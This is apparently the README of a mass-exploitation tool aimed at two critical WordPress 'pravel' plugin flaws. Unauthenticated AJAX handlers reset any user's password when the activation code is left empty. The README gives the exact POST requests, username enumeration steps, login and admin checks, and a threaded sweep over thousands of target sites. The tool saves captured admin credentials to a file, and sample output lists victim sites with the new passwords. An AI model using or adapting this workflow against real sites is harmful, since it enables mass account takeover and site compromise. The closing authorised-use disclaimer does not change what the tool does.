| 字段 | 值 |
|---|
| CVSS | 9.8 严重 |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 发布时间 | 2026 年 6 月 23 日 |
| 研究人员 | Alyudin Nafiie |
pravel_change_password() 函数被注册为 wp_ajax_nopriv 处理器——无需身份验证即可访问。它不执行 nonce 验证,也没有任何权限检查。唯一的防护是攻击者提供的 reset_activation_code 与用户 forgot_email 元数据值之间的松散相等比较。对于任何从未触发过密码重置的用户,get_user_meta() 均返回空字符串,因此与省略或空代码进行比较时,'' == '' 的松散相等判断会轻易成立。这样一来,未认证的攻击者可以向 admin-ajax.php 发送特制 POST 请求,携带 action=pravel_change_password、将 reset_user_id 设置为任意用户 ID(包括管理员账户),并将 new_password_custom 设置为任意密码——从而实现完全账户接管。
通过弱密码重置验证实现的未认证账户接管
| 字段 | 值 |
|---|---|
| CVSS | 9.8 严重 |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 发布时间 | 2026 年 6 月 23 日 |
| 研究人员 | Alyudin Nafiie |
pravel_invoice_change_password() 函数同样作为无需权限的 AJAX 处理器暴露,既没有 nonce,也没有授权检查。同样的 '' == '' 绕过同样适用:针对从未使用过忘记密码流程的管理员,提供空的 reset_activation_code 即可立即重置密码。攻击者通过 reset_user_id 控制目标账户,并通过 new_password_custom 设置新凭据。
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
终端:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
结果文件(scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
依赖:
pip install requests rich colorama urllib3
本工具仅供授权的安全研究和渗透测试使用。
对非您拥有或未经明确书面许可的系统进行测试属违法行为。
作者不对因使用本工具造成的任何滥用或损害承担责任。
所有 CVE 详情均来源于公开的漏洞数据库。
作者:Khaled Alenazi (Nxploited)